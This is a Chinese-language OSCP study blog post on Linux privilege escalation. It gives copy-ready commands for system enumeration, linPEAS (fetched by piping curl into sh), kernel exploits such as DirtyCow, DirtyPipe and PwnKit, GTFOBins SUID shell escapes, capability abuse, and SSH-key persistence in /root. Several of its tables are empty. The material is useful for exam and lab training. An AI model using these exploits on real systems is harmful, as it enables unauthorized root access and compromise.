上期我们把缓冲区溢出的底层原理讲明白了,好多同学后台说:"学长,第一次搞懂了栈是怎么被覆盖的,也知道shellcode咋跑起来的了。"紧跟着就有人问了:"拿到低权限shell之后到底该怎么提权?考试里拿到www-data还要做什么?""每次看linPEAS跑出来一大堆红黄标记,到底哪些要重点看?""DirtyCow、DirtyPipe、PwnKit这些内核漏洞都是什么,到底该用哪个?"

问得好。说实话,权限提升是OSCP考试里最容易丢分、也最容易翻盘的环节。很多人在边界打点花了大把时间,千辛万苦拿了个www-data的shell,结果提权的时候卡住了——linPEAS跑了不知道怎么看,SUID文件找到了不知道怎么利用,内核漏洞随便下了一个直接把靶机干崩了,重启之后环境全变,前面所有进度归零。

我自己当年备考的时候,就在一台Ubuntu靶机上卡了整整四个小时。linPEAS扫出来一条有用的线索(SUID的find命令),但我当时不知道GTFOBins这个网站,盯着屏幕翻了半天Google,最后才发现只需要一行命令就能拿到root。那个后悔啊,不是学不会,是不知道往哪个方向找。
今天这篇,不讲虚的理论,只讲从低权限shell到root的完整方法论。信息收集的每一条命令、内核漏洞的选择逻辑、SUID/SGID的精确利用手法,全给你拆解得明明白白。所有命令都可以直接复制到靶场里用。
❝⚠️ 这篇文章只讲Linux提权,Windows提权留到下下期。
一、先划生死线:考试能用什么?
每次开篇都要强调,提权环节的规则尤其重要——因为很多同学在这里最容易踩线:
一条关键原则:考试里提权可以用自动化枚举工具(linPEAS是合规的),但漏洞利用必须手工完成。 你可以用linPEAS发现线索,用GTFOBins查利用方法,但不能用全自动提权工具一键root。
二、提权的本质:管理员一定犯过错,你的任务是找到它
很多新手觉得提权很玄学——"别人一跑linPEAS就能定位到突破口,我跑了啥也看不出来。"其实提权的本质就一句话:系统管理员在配置里留了一个你可以钻的空子。
| | |
|---|
| | |
| 管理员给某个程序设了SUID,这个程序恰好能拿shell | |
| 管理员允许你用sudo执行某条命令,这条命令恰好能逃逸 | |
| | |
| | |
| | |
| | |
OSCP考试里,排前三的提权路径是:内核漏洞 ≈ SUID/SGID > Sudo配置不当。 掌握这三个,考试里80%的Linux靶机都能拿下。
三、提权第一步:信息收集——你不会找,线索就在你眼前你也看不见
拿到了www-data的shell,别急着下exp。先花5分钟收集系统信息,这些信息是后面所有操作的决策依据。

3.1 系统基础信息——先搞清楚你在哪台机器上
# ===== 系统版本和内核(决定用哪个内核漏洞)=====
uname -a # 一句话看清内核版本、架构、系统名
cat /etc/issue # 发行版名称和版本
cat /etc/*-release # 更详细的发行版信息
cat /proc/version # 内核编译信息,能看到GCC版本
uname -r # 只看内核版本号
# ===== 环境变量(可能泄露敏感路径和配置)=====
env # 环境变量全部打印,PATH、HOME、LANG都可能有用
# ===== 架构信息(决定exp和pspy用32位还是64位)=====
arch # 输出x86_64或i686,别下错了exp的架构
为什么这一步特别重要? 内核版本直接决定你用哪个exp。看到3.13开头的,脑子里该蹦出DirtyCow;看到5.8到5.16之间的,DirtyPipe就是优先选项;看到Polkit版本相关的,PwnKit大概率能打。
3.2 当前权限——你处在什么位置
whoami # 当前用户名
id # uid、gid、所属组,关注有没有docker/lxd/sudo组
sudo -l # 【提权第一优先级命令】看你能sudo什么命令
sudo -l是提权环节里性价比最高的命令,没有之一。 如果它不需要密码就能跑,而且输出里出现了不常见的可sudo命令——恭喜你,这可能是最省力的提权入口。
3.3 找可写目录和文件
# ===== 找全局可写目录(传文件、编译exp用)=====
find / -writable -type d 2>/dev/null
# 重点关注 /tmp, /dev/shm, /var/tmp
# ===== 找可写文件(看有没有权限修改关键配置)=====
find / -writable -type f -not -path "/proc/*" 2>/dev/null
3.4 网络信息——有没有只监听在内网的服务
ifconfig -a # 或者 ip a
route -n # 或者 ip route
netstat -tuln # 看监听的端口,重点找127.0.0.1的服务
ss -tuln # 新系统推荐用ss替代netstat
arp -a # ARP表,看内网还有哪些机器
iptables -L # 看防火墙规则(需要root,低权限一般看不了但试试不亏)
如果发现只在127.0.0.1上监听的端口(比如内网MySQL、Redis、Jenkins),这些都是提权和横向移动的潜在入口。 你可以用chisel或ligolo-ng做端口转发把它们暴露出来。
3.5 自动化工具——省时间的灵魂,但要会看结果
手工命令敲完一轮之后,上自动化工具做深度扫描。OSCP考试里这些工具完全合规:
① linPEAS——提权枚举界的王者
# 下载并运行(考试里可以从攻击机传过去)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# 或者下载到本地再传到靶机
./linpeas.sh > /tmp/linpeas_output.txt
linPEAS会用颜色标记:红色=95%以上可利用,黄色=可能可利用但需要条件,绿色=防御相关信息。拿到输出之后优先看红色的部分——这些通常是作者有极高信心的提权向量。
② linux-exploit-suggester——根据内核版本推荐exp
./linux-exploit-suggester.sh
# 或者用升级版 les.sh
./linux-exploit-suggester-2.pl -k $(uname -r)
输出示例:
[+] CVE-2016-5195 (DirtyCow) - 极高成功率,稳定
[+] CVE-2022-0847 (DirtyPipe) - 针对内核5.8-5.16
[+] CVE-2021-4034 (PwnKit) - 针对polkit组件
③ pspy64——无root权限监控所有进程
这个工具在提权里经常被忽略,但OSCP考试里它有时候能救命:
# 下载pspy64到靶机/tmp目录
chmod +x pspy64
./pspy64
# 默认每100ms扫描一次所有进程,持续输出
# Ctrl+C 停止
pspy64的妙用: 如果你怀疑有root的cron任务在跑,但crontab -l看不到(因为权限不够),pspy64能帮你看到root进程的完整命令行。比如你发现每分钟有个root身份的脚本在执行某个路径下的文件,去检查那个文件是不是你可写的——如果是,恭喜你,提权成功。
四、内核漏洞利用:速度快,但选错了会翻车
内核漏洞提权是最直接的方式——找到一个匹配内核版本的exp,编译运行,直接拿到root。但也是风险最高的——选错了exp轻则提权失败,重则靶机崩溃。
4.1 漏洞选择的三条铁律
❶ 先看内核版本,再看发行版。uname -a输出内核版本后,用searchsploit或google搜索这个版本。很多exp是针对特定发行版的(比如只测过Ubuntu 14.04),拿CentOS上去跑可能失败。
❷ 优先选社区公认稳定的exp。 不要看到一个POC就往上怼。去exploit-db看exp的热度和评论,优先选下载量高、评论区有人反馈成功的版本。
❸ 编译前看一遍代码。 至少看懂exp是干什么的、有没有反编译选项、需不需要传参数。很多新手直接把C代码拷进去编译运行,结果exp里的gcc路径写的是绝对路径/usr/bin/gcc,而靶机上根本没有GCC——这种低级错误浪费了太多时间。
4.2 考试和实战里最常见的五个内核漏洞
| | | | |
|---|
| DirtyCow | | | | |
| DirtyPipe | | | | |
| PwnKit | polkit版本 < 0.120(几乎所有主流发行版) | | | |
| OverlayFS | | | | |
| PTRACE_TRACEME | | | | |

4.3 DirtyCow实战利用——内核漏洞的最佳入门
DirtyCow(脏牛)是Linux提权历史上最著名的漏洞之一,影响范围极广,而且exp极其稳定,几乎没有翻车的风险。如果你第一次学内核漏洞提权,从这个开始:
# 第一步:确认内核版本在漏洞范围内
uname -a
# 输出类似:Linux ubuntu 3.13.0-24-generic ...
# → 3.13.0在2.6.22~4.8.3范围内,可以打
# 第二步:从exploit-db下载exp
searchsploit -m 40839
# 或者直接在攻击机上找:/usr/share/exploitdb/exploits/linux/local/
# 第三步:上传到靶机并编译
# 在靶机的/tmp目录下
gcc -pthread dirty.c -o dirty -lcrypt
# -pthread: 因为DirtyCow用了多线程竞态
# -lcrypt: 因为exp里会调用crypt()函数生成密码哈希
# 第四步:运行
./dirty mynewpassword
# 如果成功,系统会新增一个root权限的用户firefart(不同exp的用户名可能不同)
# 密码就是你指定的mynewpassword
# 第五步:切换到root
su firefart
# 输入密码 mynewpassword
# 看到 # 提示符,提权成功!
4.4 DirtyPipe实战——2022年最大的Linux提权漏洞
DirtyPipe的发现晚于DirtyCow,但影响的是更新的内核版本。它的核心原理是管道(pipe)的内核实现中,缓冲区页标记为PIPE_BUF_FLAG_CAN_MERGE但没有正确清除,导致攻击者可以向只读文件写入任意数据:
# 适用版本:Linux kernel 5.8 ~ 5.16.11
# 第一步:确认内核版本
uname -r
# 如果输出 5.13.0-xxx 等版本,在范围内
# 第二步:下载exp
# 推荐使用下面这个广受验证的版本
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
# 或者 searchsploit -m linux/local/50808.c
# 第三步:编译
gcc -o dirtypipe dirtypipe.c
# 第四步:运行
./dirtypipe /etc/passwd 1 # 选项1:修改/etc/passwd,添加一个新root用户
# 或者
./dirtypipe /usr/bin/su # 修改/bin/su,使其无条件提权
❝⚠️ DirtyPipe的利用方式比较灵活,不同的exp实现的效果不同——有的会覆盖/etc/passwd添加新用户,有的会修改/bin/su使其无需密码就能提权。考试里拿到exp之后先读README,搞清楚它具体干什么再运行。
4.5 PwnKit——适用面最广的内核提权漏洞
PwnKit(CVE-2021-4034)是我个人在OSCP实战里见过最多、成功率最高的提权漏洞之一。它的核心问题是pkexec(PolKit的一个SUID工具)在解析命令行参数时存在越界写,导致环境变量注入,最终实现本地提权。
为什么PwnKit这么好用? 因为PolKit(也就是pkexec)几乎在所有主流Linux发行版上都预装,而且这个漏洞不需要复杂的堆喷/竞态条件,一个单线程的C程序就能稳定利用。考试里遇到虚拟机模板比较新的靶机,DirtyCow打不了的话,PwnKit往往能顶上。
# 第一步:检查pkexec是否存在且为SUID
which pkexec
ls -la /usr/bin/pkexec
# 如果存在且有SUID位(-rwsr-xr-x),大概率存在漏洞
# 第二步:下载exp
git clone https://github.com/berdav/CVE-2021-4034.git
# 或者 searchsploit -m linux/local/50689.c
# 第三步:编译
cd CVE-2021-4034
make
# 第四步:运行
./cve-2021-4034
# 如果成功,直接拿到root shell
whoami
# 输出:root
4.6 内核漏洞提权的三个防翻车技巧
❶ 编译exp之前,先检查靶机有没有GCC。 很多靶机为了增加难度,故意不装编译工具。这时候你有两个选择:在本地相同版本的虚拟机上编译好静态链接版本再传过去(gcc -static),或者换一个用Python/Bash写的exp。
❷ 提权前备份关键文件。 如果exp的行为是修改/etc/passwd或/etc/shadow,先备份:
cp /etc/passwd /tmp/passwd.bak
cp /etc/shadow /tmp/shadow.bak
❸ 内核漏洞是"最后的手段",不是第一选择。 linPEAS跑完之后,先看有没有更温和的提权方式(SUID、sudo、cron)。内核exp一旦出错,靶机可能直接崩溃——考试里靶机崩了,你可能要发邮件给监考申请重启,这浪费的是你宝贵的24小时考试时间。
五、SUID/SGID文件利用——比内核漏洞更优雅的提权方式
SUID(Set User ID)是Linux的一个特殊权限位。当文件设置了SUID位后,任何用户执行这个文件时,都会以文件所有者的身份运行。如果文件所有者是root,那普通用户执行它的时候,实际上就是root在执行。
这就是SUID提权的核心逻辑——找到一个root所有的SUID二进制,而这个二进制恰好可以通过某种方式执行额外的命令。
5.1 找到系统里的SUID文件
# 精确定位SUID文件的命令
find / -perm -u=s -type f 2>/dev/null
# 同时找SUID和SGID
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
# 只看不常见的(排除系统自带的基础程序)
find / -perm -u=s -type f 2>/dev/null | grep -v -E "ping|su|mount|umount|passwd|chsh|chfn|newgrp|gpasswd|pkexec|sudo"
输出里你应该重点关注的是这一类文件: 不是系统基础组件(排除passwd、sudo、ping等)、文件路径不常见(比如在/opt或/home下)、所有者是root且有SUID位。
5.2 GTFOBins——SUID提权的"万能钥匙"
找到了一个不常见的SUID二进制之后怎么办?不是去Google搜"xxx suid exploit",而是直接打开 GTFOBins(https://gtfobins.github.io) 。这个网站收录了几乎所有可以被滥用的Unix二进制文件,点进去就能看到SUID利用的精确命令。
考试里最常见的十个SUID提权二进制:
| | |
|---|
find | find . -exec /bin/sh -p \; -quit | |
vim | vim -c ':!/bin/sh' | |
nmap | nmap --interactive | |
bash | bash -p | |
less | less /etc/passwd | |
python | python -c 'import os; os.execl("/bin/sh", "sh", "-p")' | |
perl | perl -e 'exec "/bin/sh";' | |
cp | cp覆盖/etc/passwd或/etc/shadow | |
awk | awk 'BEGIN {system("/bin/sh")}' | |
systemctl | | |
❝🔥 核心网站:GTFOBins(https://gtfobins.github.io/)不只是SUID,还包括sudo限制绕过、文件上传、下载、端口转发等场景。考试中如果发现任何一个你能以非正常途径执行的二进制,先去GTFOBins查——90%的情况它的页面里就有现成的利用命令。
5.3 Linux Capabilities——SUID的"现代版"
大多数新文章不会告诉你的是:**从Linux内核2.2开始,权限体系已经从"全职root"逐渐过渡到了"细粒度Capabilities"**。传统SUID的问题是过于粗糙——一旦给了SUID,整个程序就拥有了root的全部权限。而Capabilities允许系统只给程序某个特定能力,比如只给python一个cap_setuid能力(允许修改UID),但不给其他root权限。
检查Capabilities的命令:
getcap -r / 2>/dev/null
输出示例和对应的利用:
# 如果看到这个——恭喜你,这是最直接的提权:
/usr/bin/python3.8 cap_setuid=ep
# 利用:python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# 如果看到ping(允许发原始网络包):
/usr/bin/ping cap_net_raw=ep
# 利用:可以发任意网络包,做DoS攻击
# 如果看到tcpdump(允许抓包):
/usr/sbin/tcpdump cap_net_raw=ep
# 利用:可以嗅探内网流量,抓取明文密码
Capabilities在考试里的地位: 出现频率不如传统SUID高,但一旦出现就是送分题——比SUID更好利用,因为只给了一个具体的capability,对应的利用路径非常明确。
六、考试/实战区别:什么在学校靶机能用,什么在生产环境也能用
很多同学不清楚有些技术到底是"考试专用"还是"实战通用",这里给大家说清楚:
| | | |
|---|
| | | 实战中内核漏洞可能导致生产系统崩溃,且打了补丁就无效 |
| | | |
| | | 实战中比考试更常见——运维经常配sudo但忘了限制 |
| | | |
| | | |
| | | |
| | | |
| | | |
一句话总结:考试先试SUID和sudo,温和不伤系统;实战多关注配置错误和密码泄露,不要随便跑内核exp。
七、避坑指南
❶ linPEAS跑完之后先看红色的部分。 红色是95%以上确定可用的提权向量,优先处理。黄色部分需要额外条件(比如需要用户交互、需要特定文件存在),等红色都排查完了再看。
❷ 内核exp不是第一选择。 很多人拿到shell第一件事就是uname -a然后找exp——方向没错,但顺序错了。先检查sudo -l、先找SUID文件、先看cron任务。这些是"温和"的提权方式,不会把靶机搞崩。
❸ 编译exp之前确认目标架构。 用arch命令确认是x86_64还是arm64还是i686。32位的exp在64位系统上不一定能跑,反之亦然。如果有GCC,直接在靶机上编译是最稳妥的。
❹ 拿到root之后别急着找flag。 先截图、先做权限维持(往/root/.ssh/authorized_keys里加自己的公钥),防止靶机突然出问题又要重新打。
❺ pspy64在考试里比你想象的有用。 有时候你翻遍了系统也找不到提权路径,放下pspy64等五分钟,可能会发现root身份在定时执行某个脚本——去检查脚本是否可写、是否用了相对路径。这一招帮我拿下了至少两台考试靶机。
❻ GTFOBins是提权的超级武器库。 任何你能sudo的二进制、任何有SUID的二进制,都可以去GTFOBins查。不需要背每个命令怎么利用,但需要养成"看到异常二进制→打开GTFOBins"的条件反射。
写在最后
这篇讲的是Linux提权的"基础武器库"——信息收集、自动化工具、内核漏洞、SUID/Capabilities。这些是你从www-data到root的第一套工具。
下一篇我们继续深挖Linux提权的进阶手法:sudo配置滥用(LD_PRELOAD注入、环境变量劫持)、Cron任务劫持、通配符注入、NFS提权、密码凭证狩猎、Docker/LXD组权限滥用——全部都是我在上百台靶机里验证过的实战手法。
如果觉得这篇对你有用,点个"在看"并星标我,别错过下期。
评论区可以留言你在提权上踩过的坑——比如有没有因为选错内核exp把靶机干崩的惨痛经历,我当年崩过三台,说出来让大家开心一下。
我们下期见!